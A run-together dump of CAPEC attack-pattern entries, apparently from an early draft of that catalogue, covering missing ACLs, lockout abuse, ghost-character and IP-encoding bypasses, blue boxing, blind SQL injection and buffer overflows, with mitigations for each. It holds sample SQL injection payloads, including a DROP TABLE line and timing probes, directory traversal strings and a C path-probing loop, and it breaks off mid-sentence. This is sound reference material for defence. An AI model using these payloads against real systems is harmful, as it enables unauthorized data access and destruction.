In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the application deployer failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.

Survey The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for all available links env-Web Brute force guessing of resource names env-All Brute force guessing of user names / credentials env-All Brute force guessing of function names / actions env-All ACLs or other access control mechanisms are present in the software env-Web env-ClientServer User IDs or other credentials are present in the software env-Web env-ClientServer Operating modes with different privileges are present in the software env-ClientServer env-Local env-Embedded Identify Functionality At each step, the attacker notes the resource or functionality access mechanism invoked upon performing specific actions Use the web inventory of all forms and inputs and apply attack data to those inputs. env-Web Use a packet sniffer to capture and record network traffic env-CommProtocol Execute the software in a debugger and record API calls into the operating system or important libraries. This might occur in an environment other than a production environment, in order to find weaknesses that can be exploited in a production environment. env-Local env-Embedded The attacker produces a list of functionality or data that can be accessed through the system. Iterate over access capabilities Possibly as a valid user, the attacker then tries to access each of the noted access mechanisms directly in order to perform functions not constrained by the ACLs. Fuzzing of API parameters (URL parameters, OS API parameters, protocol parameters) env-Web env-Local env-Embedded env-ClientServer Attempts to create a catalog of access mechanisms and data have failed. env-All Functionality is accessible to unauthorized users. The application must be navigable in a manner that associates elements (subsections) of the application with ACLs. The various resources, or individual URLs, must be somehow discoverable by the attacker The deployer must have forgotten to associate an ACL or has associated an inappropriately permissive ACL with a particular navigable resource. High Very High Analysis Brute Force Implementing the Model-View-Controller (MVC) within Java EE's Servlet paradigm using a "Single front controller" pattern that demands that brokered HTTP requests be authenticated before hand-offs to other Action Servlets. If no security-constraint is placed on those Action Servlets, such that positively no one can access them, the front controller can be subverted. Low: In order to discover unrestricted resources, the attacker does not need special tools or skills. He only has to observe the resources or access mechanisms invoked as each action is performed and then try and access those access mechanisms directly. No special resources are required for the exploit of this pattern. In the case of web applications, use of a spider or other crawling software can allow an attacker to search for accessible pages not beholden to a security constraint. More generally, noting the target resource accessed upon performing specific actions drives an understanding of the resources accessible from the current context. In a J2EE setting, deployers can associate a role that is impossible for the authenticator to grant users, such as "NoAccess", with all Servlets to which access is guarded by a limited number of servlets visible to, and accessible by, the user. Having done so, any direct access to those protected Servlets will be prohibited by the web container. In a more general setting, the deployer must mark every resource besides the ones supposed to be exposed to the user as accessible by a role impossible for the user to assume. The default security setting must be to deny access and then grant access only to those resources intended by business logic. Privilege Escalation The context of this pattern's applicability is most likely a web-based application, subject to an authorization framework. 285 Targeted 276 Targeted 693 Targeted 721 Targeted All resources must be constrained to be inaccessible by default followed by selectively allowing access to resources as dictated by application and business logic In addition to a central controller, every resource must also restrict, wherever possible, incoming accesses as dictated by the relevant ACL. Failing Securely Least Privilege Reluctance To Trust Complete Mediation Use Authorization Mechanisms Correctly Design Configuration Subsystems Correctly and Distribute Safe Default Configurations Penetration High Medium Low All All All All John Steven Cigital, Inc 2007-02-10 Initial core pattern content Chiradeep B. Chhaya Cigital, Inc 2007-02-23 Fleshed out pattern with extra content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Attack Execution Flow, Attack Prerequisites, Examples and Solutions Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Paco Hope Cigital, Inc. 2007-10-20 Added extended Attack Execution Flow

An attacker leverages the security functionality of the system aimed at thwarting potential attacks to launch a denial of service attack against a legitimate system user. Many systems, for instance, implement a password throttling mechanism that locks an account after a certain number of incorrect log in attempts. An attacker can leverage this throttling mechanism to lock a legitimate user out of their own account. The weakness that is being leveraged by an attacker is the very security feature that has been put in place to counteract attacks.

Investigate account lockout behavior of system Investigate the security features present in the system that may trigger an account lockout Analyze system documentation to find list of events that could potentially cause account lockout env-Web env-ClientServer env-Local env-Embedded Obtain user account in system and attempt to lock it out by sending malformed or incorrect data repeatedly env-Web env-ClientServer env-Local env-Embedded Determine another user's login ID, and attempt to brute force the password (or other credentials) for it a predetermined number of times, or until the system provides an indication that the account is locked out. env-Web env-ClientServer env-Local env-Embedded System provides error message stating that account being attacked is locked out. env-Web env-ClientServer env-Local env-Embedded After a certain number of login attempts with a given user ID, the amount of time it takes for system to respond to further login attempts changes noticably. env-Web env-ClientServer env-Local env-Embedded System has no automatic signup mechanism, and system provides no indication as to whether the attacker is entering incorrect credentials or the account is locked out during the login process. env-Web env-ClientServer env-Local env-Embedded Attacker determines at least one way to lock out accounts. System provides no indication that account lockouts are possible Repeated failed login attempts in application/system logs. Do not provide any indication to users that their accounts are locked out. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails. Obtain list of user accounts to lock out Generate a list of valid user accounts to lock out Obtain list of authorized users using another attack pattern, such as SQL Injection. env-Web env-ClientServer env-Local env-Embedded Attempt to create accounts if possible; system should indicate if a user ID is already taken. env-Web env-ClientServer env-Local env-Embedded Attempt to brute force user IDs if system reveals whether a given user ID is valid or not upon failed login attempts. env-Web env-ClientServer env-Local env-Embedded System indicates which user IDs are valid and which are not to unauthenticated users. env-Web env-ClientServer env-Local env-Embedded Attacker gathers list of user IDs Attacker is unable to gather list of valid user IDs; attacker may still be able to lock out accounts by blindly guessing user IDs and performing a lockout procedure with each one. Avoid providing any indication regarding the validity of user IDs upon failed login attempts. Provide a simple error message such as: "Login failed. Try again or contact your administrator" regardless of why a login attempt fails. Lock Out Accounts Perform lockout procedure for all accounts that the attacker wants to lock out. For each user ID to be locked out, perform the lockout procedure discovered in the first step. env-Web env-ClientServer env-Local env-Embedded Success outcome in first step env-Web env-ClientServer env-Local env-Embedded Failure outcome in first step env-Web env-ClientServer env-Local env-Embedded Amount of work required by an attacker to lock out a large number of accounts is at least an order of magnitude smaller than the amount of work required to unlock the accounts thereafter. The large amount of work required by an attacker to lock out a large number of accounts makes this an unattractive attack. The system has a lockout mechanism. An attacker must be able to reproduce behavior that would result in an account being locked. Medium High API Abuse Flooding Brute Force A famous example of this type an attack is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction. Low Computer with access to the login portion of the target system Implement intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name. When implementing security features, consider how they can be misused and made to turn on themselves. Denial of Service 400 Secondary Eugene Lebanidze Cigital, Inc 2007-02-26 Sean Barnum Cigital, Inc 2007-03-01 Review and revision of content Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Description and Solutions Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker intentionally introduces leading characters that enable getting the input past the filters. The API that is being targetted, ignores the leading "ghost" characters, and therefore processes the attacker's input. This occurs when the targetted API will accept input data in several syntactic forms and interpret it in the equivalent semantic way, while the filter does not take into account the full spectrum of the syntactic forms acceptable to the targetted API. Some APIs will strip certain leading characters from a string of parameters. Perhaps these characters are considered redundant, and for this reason they are removed. Another possibility is the parser logic at the beginning of analysis is specialized in some way that causes some characters to be removed. The attacker can specify multiple types of alternative encodings at the beginning of a string as a set of probes. One commonly used possibility involves adding ghost characters—extra characters that don't affect the validity of the request at the API layer. If the attacker has access to the API libraries being targeted, certain attack ideas can be tested directly in advance. Once alternative ghost encodings emerge through testing, the attacker can move from lab-based API testing to testing real-world service implementations.

Determine if the source code is available and if so, examine the filter logic. If the source code is not available, write a small program that loops through various possible inputs to given API call and tries a variety of alternate (but equivalent) encodings of strings with leading ghost characters. Knowlege of frameworks and libraries used and what filters they apply will help to make this search more structured. Observe the effects. See if the probes are getting past the filters. Identify a string that is semantically equivalent to that which an attacker wants to pass to the targeted API, but syntactically structured in a way as to get past the input filter. That encoding will contain certain ghost characters that will help it get past the filters. These ghost characters will be ignored by the targeted API. Once the "winning" alternate encoding using (typically leading) ghost characters is identified, an attacker can launch the attacks against the targetted API (e.g. directory traversal attack, arbitrarary shell command execution, corruption of files) The targetted API must ignore the leading ghost characters that are used to get past the filters for the semantics to be the same. Medium Medium Injection API Abuse Alternate Encoding with Ghost Characters in FTP and Web Servers Some web and FTP servers fail to detect prohibited upward directory traversals if the user-supplied pathname contains extra characters such as an extra leading dot. For example, a program that will disallow access to the pathname "../test.txt" may erroneously allow access to that file if the pathname is specified as ".../test.txt". This attack succeeds because 1) the input validation logic fails to detect the triple-dot as a directory traversal attempt (since it isn't dot-dot), 2) some part of the input processing decided to strip off the "extra" dot, leaving the dot-dot behind. Using the file system API as the target, the following strings are all equivalent to many programs: .../../../test.txt ............/../../test.txt ..?/../../test.txt ..????????/../../test.txt ../test.txt As you can see, there are many ways to make a semantically equivalent request. All these strings ultimately result in a request for the file ../test.txt. Medium Perform white list rather than black list input validation. Canonicalize all data prior to validation. Take an iterative approach to input validation (defense in depth). Privilege Escalation Data Modification Building "Equivalent" Requests A large number of commands are subject to parsing or filtering. In many cases a filter only considers one particular way to format a command. The fact is that the same command can usually be encoded in thousands of different ways. In many cases, an alternative encoding for the command will produce exactly the same results as the original command. Thus, two commands that look different from the logical perspective of a filter end up producing the same semantic result. In many cases, an alternatively encoded command can be used to attack a software system, because the alternative command allows an attacker to perform an operation that would otherwise be blocked. Mapping the API Layer A good approach to help identify and map possible alternate encodings involves writing a small program that loops through all possible inputs to a given API call. This program can, for example, attempt to encode filenames in a variety of ways. For each iteration of the loop, the "mungified" filename can be passed to the API call and the result noted. The following code snippet loops through many possible values that can be used as a prefix to the string \test.txt. Results of running a program like this can help us to determine which characters can be used to perform a ../../ (dots and slashes) relative traversal attack. int main(int argc, char* argv[]) { for(unsigned long c=0x01010101;c != -1;c++) { char _filepath[255]; sprintf(_filepath, "%c%c%c%c\\test.txt", c > 24, c > 16, c > 8, c&0x000000FF ); try { FILE *in_file = fopen(_filepath, "r"); if(in_file) { printf("checking path %s\n", _filepath); puts("file opened!"); getchar(); fclose(in_file); } } catch(...) { } } return 0; } Slight (but still automatic) modifications can be made to the string in creative ways. Ultimately, the modified string boils down to an attempt to use different tricks to obtain the same file. For example, one resulting attempt might try a command like this: sprintf(_filepath, "..%c\\..%c\\..%c\\..%c\\scans2.txt", c, c, c, c); A good way to think about this problem is to think of layers. The API call layer is what the examples shown here are mapping. If an engineer has placed any filters in front of the API call, then these filters can be considered additional layers, wrapping the original set of possibilities. By pondering all the possible inputs that can be provided at the API layer, we can begin uncovering and exercising any filters that the software has in place. If we know that the software definitely uses file API calls, we can try all kinds of filename encoding tricks that we know about. If we get lucky, eventually one set of encoding tricks will work, and we can get our data successfully through the filters and into the API call. Drawing on the techniques described in Chapter 5 of "Exploiting Software: How to Break Code" (See reference - G. Hoglund and G. McGraw) , we can list a number of possible escape codes that can be injected into API calls (many of which help with the filter avoidance problem). If the data are eventually being piped into a shell, for example, we might be able to get control codes to take effect. A particular call may write data to a file or a stream that are eventually meant to be viewed on a terminal or in a client program. As a simple example, the following string contains two backspace characters that are very likely to show up in the terminal's execution: write("echo hey!\x08\x08"); When the terminal interprets the data we have passed in, the output will be missing the last two characters of the original string. This kind of trick has been used for ages to corrupt data in log files. Log files capture all kinds of data about a transaction. It may be possible to insert NULL characters (for example, %00 or '\0') or to add so many extra characters to the string that the request is truncated in the log. Imagine a request that has more than a thousand extra characters tacked on at the end. Ultimately, the string may be trimmed in the log file, and the important telltale data that expose an attack will be lost. Ghost Characters Ghost characters are extra characters that can be added to a request. The extra characters are designed not to affect the validity of the request. One easy example involves adding extra slashes to a filename. In many cases, the strings /some/directory/test.txt and /////////////////some/////////////directory//////////////test.txt are equivalent requests. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Web Form, URL, Network Socket, File The payload is the parameter that an attacker is supplying to the targetted API that will allow the attacker to elevate privilege and subvert the authorization service. The targetted API is the activation zone. These attacks often target the file system or the shell to execute commands. Failure in authorization service may lead to compromises in data confidentiality and integrity. 173 Targeted 41 Targeted 172 Targeted 171 Targeted 179 Targeted 180 Targeted 181 Secondary 183 Secondary 184 Secondary 20 Targeted 74 Targeted 697 Targeted 707 Targeted Defense in Depth Reluctance to Trust Least Privilege Perform input validation and filtering on data in its canonical form. Understand the APIs to which user input will be passed and know how permissive they are. Perform appropriate input validation given that information. Exploitation Low Low High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Attack Execution Flow and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack relies on the attacker using unexpected formats for representing IP addresses. Networked applications may expect network location information in a specific format, such as fully qualified domains names, URL, IP address, or IP Address ranges. The issue that the attacker can exploit is that these design assumptions may not be validated against a variety of different possible encodings and network address location formats. Applications that use naming for creating policy namespaces for managing access control may be susceptible to queryin directly by IP addresses, which is ultimately a more generally authoritative way of communicating on a network. Alternative IP addresses can be used by the attacker to bypass application access control in order to gain access to data that is only protected by obscuring its location. In addition this type of attack can be used as a reconnaissance mechansim to provide entry point information that the attacker gathers to penetrate deeper into the system.

The target software must fail to anticipate all of the possible valid encodings of an IP/web address. High Medium Injection Protocol Manipulation API Abuse An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions. Low: The attacker has only to try IP address combinations. Ability to communicate with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP. Design: Default deny access control policies Design: Input validation routines should check and enforce both input data types and content against a positive specification. In regards to IP addresses, this should include the authorized manner for the application to represent IP addresses and not accept user specified IP addresses and IP address formats (such as ranges) Implementation: Perform input validation for all remote content. Privilege Escalation "Attack Pattern: Alternative IP Addresses "IP address ranges can be represented using alternative methods. Here are some examples: 192.168.0.0/24 192.168.0.0/255.255.255.0 192.168.0.* Classic encoding techniques can be directed against IP numbers as well." [Hoglund and McGraw 04] Malicious input delivered through standard input Varies with instantiation of attack pattern. Malicious payload may be passed directly from appliation client, such as the web browser. Client machine and client network Enables attacker to view and access unexpected network services. 291 Targeted 180 Targeted 41 Targeted 345 Targeted 697 Targeted 707 Targeted Penetration Medium Medium High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name, Attack Prerequisites,Resources Required and Method of Attack Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This attack against older telephone switches and trunks has been around for decades. The signal is sent by the attacker to impersonate a supervisor signal. This has the effect of rerouting or usurping command of the line and call. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authentication for administrative functions. While the infrastructure is different than standard current applications like web applications, there are hisotrical lessons to be learned to upgrade the access control for administrative functions.

System must use weak authentication mechanisms for administrative functions. Very High Medium Injection Protocol Manipulation Attacker identifies a vulnerable CCITT-5 phone line, and sends a combination tone to the switch in order to request administrative access. Based on tone and timing parameters the request is verified for access to the switch. Once the attacker has gained control of the switch launching calls, routing calls, and a whole host of opportunities are available. Low: Given a vulnerable phone system, the attacker's technical vector relies on attacks that are well documented in cracker 'zines and have been around for decades. CCITT-5 or other vulnerable lines, with the ability to send tones such as combined 2,400 Hz and 2,600 Hz tones to the switch Implementation: Upgrade phone lines. Note this may be prohibitively expensive Use strong access control such as two factor access control for adminsitrative access to the switch Denial of Service Privilege Escalation "Attack Pattern: Analog In-band Switching Signals (aka "Blue Boxing") Many people have heard of 2600, the frequency used in the United States to control telephone switches during the 1960s and 1970s. (Come to think of it, probably more people have heard of the hacker 'zine 2600 and its associated club than have heard of the reason for the name of the club,) Most systems are no longer vulnerable to ancient phreaking attacks. However older systems are still found internationally. Overseas trunk lines that use trans-Atlantic cabling are prone to the in-band signal problem, and they are too expensive a resource to abandon. Thus, many overseas (home-country direct) 800/888 numbers are known to have in-band signal problems even today. Consider the CCITT-5(C5) signaling system that is used internationally. This system does not use the commonly known 2,600 Hz, but instead uses 2,400Hz as a control signal. If you have ever heard the "pleeps" and chirps on the Pink Floyd album "The Wall," then you have heard C5 signals. There are millions of phone lines still in operation today that are routed through switches with in-band signaling. This attack pattern involves playing specific control commands across a normal voice link, thus seizing control of the line, rerouting calls, and so on." [Hoglund and McGraw 04] Payload delivered through standard communication protocols. Command(s) executed directly on host Client machine and client network Enables calls to be rerouted. 264 Targeted Penetration Low Medium Medium Other Other Other All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the attacker constructs input strings that probe the target through simple Boolean SQL expressions. The attacker can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the attacker determines how and where the target is vulnerable to SQL Injection. For example, an attacker may try entering something like "username' AND 1=1; --" in an input field. If the result is the same as when the attacker entered "username" in the field, then the attacker knows that the application is vulnerable to SQL Injection. The attacker can then ask yes/no questions from the database server to extract information from it. For example, the attacker can extract table names from a database using the following types of queries: "username' AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 108". If the above query executes properly, then the attacker knows that the first character in a table name in the database is a letter between m and z. If it doesn't, then the attacker knows that the character must be between a and l (assuming of course that table names only contain alphabetic characters). By performing a binary search on all character positions, the attacker can determine all table names in the database. Subsequently, the attacker may execute an actual attack and send something like: "username'; DROP TABLE trades; --

Hypothesize SQL queries in application Generated hypotheses regarding the SQL queries in an application. For example, the attacker may hypothesize that his input is passed directly into a query that looks like: "SELECT * FROM orders WHERE ordernum = _____" or "SELECT * FROM orders WHERE ordernum IN (_____)" or "SELECT * FROM orders WHERE ordernum in (_____) ORDER BY _____" Of course, there are many other possibilities. Research types of SQL queries and determine which ones could be used at various places in an application. env-All Determine how to inject information into the queries Determine how to inject information into the queries from the previous step such that the injection does not impact their logic. For example, the following are possible injections for those queries: "5' OR 1=1; --" and "5) OR 1=1; --" and "ordernum DESC; --" Add clauses to the SQL queries such that the query logic does not change. env-All Add delays to the SQL queries in case server does not provide clear error messages (e.g. WAITFOR DELAY '0:0:10' in SQL Server or BENCHMARK(1000000000,MD5(1) in MySQL). If these can be injected into the queries, then the length of time that the server takes to respond reveals whether the query is injectable or not. env-All At least one way to complete a hypothesized SQL query that would violate the application developer's assumptions. Determine user-controllable input susceptible to injection Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject the values determined in the previous step. If an error does not occur, then the attacker knows that the SQL injection was successful. Use web browser to inject input through text fields or through HTTP GET parameters. env-Web Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc. env-Web Use network-level packet injection tools such as netcat to inject input env-Web env-ClientServer env-Peer2Peer env-CommProtocol Use modified client (modified by reverse engineering) to inject input. env-ClientServer env-Peer2Peer env-CommProtocol Attacker receives normal response from server. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Response takes expected amount of time after delay is injected. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Server sends a specific error message that indicates programmatic parsing of the input data (e.g. NumberFormatException) env-Web env-ClientServer env-Peer2Peer env-CommProtocol At least one user-controllable input susceptible to injection found. No user-controllable input susceptible to injection found. Unusual queries such as the ones described in the previous step, in application logs. Log files may contain unusual messages such as "User bob' OR 1=1; -- logged in". Operators should be alerted when such SQL commands appear in the logs. Input validation of user-controlled data before including it in a SQL query Use APIs that help mitigate SQL injection (such as PreparedStatement in Java) Determine database type Determines the type of the database, such as MS SQL Server or Oracle or MySQL, using logical conditions as part of the injected queries Try injecting a string containing char(0x31)=char(0x31) (this evaluates to 1=1 in SQL Server only) env-Web env-ClientServer env-Peer2Peer env-CommProtocol Try injecting a string containing 0x313D31 (this evaluates to 1=1 in MySQL only) env-Web env-ClientServer env-Peer2Peer env-CommProtocol Inject other database-specific commands into input fields susceptible to SQL Injection. The attacker can determine the type of database that is running by checking whether the query executed successfully or not (i.e. wheter the attacker received a normal response from the server or not). env-Web env-ClientServer env-Peer2Peer env-CommProtocol Success outcome in previous step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in previous step env-Web env-ClientServer env-Peer2Peer env-CommProtocol Database platform in use discovered. Database platform in use not discovered. Extract information about database schema Extract information about database schema by getting the database to answer yes/no questions about the schema. Automatically extract database schema using a tool such as Absinthe. env-Web Manually perform the blind SQL Injection to extract desired information about the database schema. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Success outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Desired information about database schema extracted. Desired information about database schema could not be extracted. Large number of unusual queries in database logs. Exploit SQL Injection vulnerability Use the information obtained in the previous steps to successfully inject the database in order to bypass checks or modify, add, retrieve or delete data from the database Use information about how to inject commands into SQL queries as well as information about the database schema to execute attacks such as dropping tables, inserting records, etc. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Success outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Failure outcome in previous step. env-Web env-ClientServer env-Peer2Peer env-CommProtocol Attacker achieves goal of unauthorized system access, denial of service, etc. Attacker cannot exploit the information gathered by blind SQL Injection SQL queries used by the application to store, retrieve or modify data. User-controllable input that is not properly validated by the application as part of SQL queries. High High Injection Analysis In the PHP application TimeSheet 1.1, an attacker can successfully retrieve username and password hashes from the database using Blind SQL Injection. If the attacker is aware of the local path structure, the attacker can also remotely execute arbitrary code and write the output of the injected queries to the local path. Blind SQL Injection is possible since the application does not properly sanitize the $_POST['username'] variable in the login.php file. CVE-2006-4705 Medium - Determining the database type and version, as well as the right number and type of parameters to the query being injected in the absence of error messages requires greater skill than reverse-engineering database error messages. None In order to determine the right syntax for the query to inject, the attacker tries to determine the right number of parameters to the query and their types. This is achieved by formulating conditions that result in a true/false answer from the database. If the logical condition is true, the database will execute the rest of the query. If not, a custom error page or a default page is returned. Another approach is to ask such true/false questions of the database and note the response times to a query with a logically true condition and one with a false condition. The only indicators of successful Blind SQL Injection are the application or database logs that show similar queries with slightly differing logical conditions that increase in complexity over time. However, this requires extensive logging as well as knowledge of the queries that can be used to perform such injection and return meaningful information from the database. Security by Obscurity is not a solution to preventing SQL Injection. Rather than suppress error messages and exceptions, the application must handle them gracefully, returning either a custom error page or redirecting the user to a default page, without revealing any information about the database or the application internals. Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear. Data Modification Information Leakage Run Arbitrary Code An attacker attempts Blind SQL Injection when traditional SQL Injection is not possible due to suppression of error messages. Blind SQL Injection is performed by appending logical conditions to the query being injected such that they evaluate to true or false in the context of the data stored in the database. The first step is to get the syntax for the injected query right. For example, consider a database that has a table named "users". Consider the following query: SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND password="user1pwd"; To determine whether the "userid" field is injectable or not, the attacker tries an input such as user1" AND 3>1+1;-- This causes the following query SELECT fname, lname, dob, ssn, address FROM users WHERE userid="user1" AND 3>1+1;-- to be passed to the database. If the parameter is injectable, the database evaluates 3>1+1 to be true and executes the query. If, on the other hand, a condition such as 3<2 were passed, the database would return an error. Since the application suppresses such errors, the attacker never sees it. However, the application may simply hang or it may redirect to a custom error page or a default page, which is definitely an indication that the injected condition was evaluated to be false. The query can also fail if the original condition was within parentheses, such as WHERE (userid="johns" AND password="abracadabra") In such a case, the attacker will have to try injection such that the parentheses match up. Once the attacker gets the syntax right, the next step is to identify the database. This can be achieved by using operators that are unique to each database engine. For example, a condition such as "abc" = "a"+"bc" evaluates to true on MS SQL Server whereas it evaluates to false on Oracle since the concatentation operator is ||. Another approach is using system-specific functions such as those for date and time. The next step is to determine the number and type of parameters. This can again be achieved by exploiting the SELECT...WHERE conditions or using UNION SELECT statements with dummy numeric or character-based parameters. Once the type of database as well as the structure of the query has been mapped out by asking a number of questions to the database, the attacker is in a position to inject the database and extract information from it. Blind SQL Injection is a classic example of solution by reduction where the domain to be attacked is successively narrowed down by the attacker through true or false queries to the database. User-controllable input to the application SQL statements intended to bypass checks or retrieve information about the database Back-end database The injected SQL statements are such that they result in a true/false query to the database. If the database evaluates a statement to be logically true, it responds with the requested data. If the condition is evaluated to be logically false, an error is returned. The attacker modifies the boolean condition each time to gain information from the database. 89 Targeted 209 Targeted 74 Secondary 20 Secondary 390 Secondary 697 Secondary 713 Secondary 707 Secondary 66 Occasionally Precedes Custom error pages must be used to handle exceptions such that they do not reveal any information about the architecture of the application or the database. Special characters in user-controllable input must be escaped before use by the application. Employ application-level safeguards to filter data and handle exceptions gracefully. Reluctance to Trust Failing Securely Defense in Depth Never Use Input as Part of a Directive to any Internal Component Handle All Errors Safely Penetration High High High All All All All CWE - Input Validation CWE - Improper Error Handling Chiradeep B Chhaya 2007-02-22 Third Draft - Revised to schema v1.4 Malik Hamro Cigital, Inc 2007-02-27 Reformat to new schema and review Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Description, Attack Prerequisites and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An application typically makes calls to functions that are a part of libraries external to the application. These libraries may be part of the operating system or they may be third party libraries. It is possible that the application does not handle situations properly where access to these libraries has been blocked. Depending on the error handling within the application, blocked access to libraries may leave the system in an insecure state that could be leveraged by an attacker.

Determine what external libraries the application accesses. Block access to the external libraries accessed by the application. Monitor the behavior of the system to see if it goes into an insecure/inconsistent state. If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal. An application requires access to external libraries. An attacker has the priviliges to block application access to external libraries. Medium Medium API Abuse Modification of Resources A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the applicatoin. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account. Low Ensure that application handles situations where access to APIs in external libraries is not available securely. If the application cannot continue its execution safely it should fail in a consistent and secure fashion. Denial of Service Information Leakage Privilege Escalation 589 Targeted 227 Targeted Failing Securely Exploitation Low Low High All All All All Sean Barnum Cigital, Inc. 2007-03-25 Identified priority for pattern creation Evgeny Lebanidze Cigital, Inc., 2007-03-21 Fleshed out content for pattern Sean Barnum Cigital, Inc 2007-04-16 Review and revise

This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An attacker who has access to an API may try to embed malicious code in the API function call and exploit a buffer overflow vulnerability in the function's implementation. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.

An attacker can call an API exposed by the target host. On the probing stage, the attacker injects malicious code using the API call and observes the results. The attacker's goal is to uncover a buffer overflow vulnerability. The attacker finds a buffer overflow vulnerability, crafts malicious code and injects it through an API call. The attacker can at worst execute remote code on the target host. The target host exposes an API to the user. One or more API functions exposed by the target host has a buffer overflow vulnerability. High High API Abuse Injection Attack Example: Libc in FreeBSD A buffer overflow in the FreeBSD utility setlocale (found in the libc module) puts many programs at risk all at once. Xtlib A buffer overflow in the Xt library of the X windowing system allows local users to execute commands with root privileges. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Use a language or compiler that performs automatic bounds checking. Use secure functions not vulnerable to buffer overflow. If you have to use dangerous functions, make sure that you do boundary checking. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Denial of Service Run Arbitrary Code Information Leakage Data Modification The user supplied data. The buffer overrun by the attacker. When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return 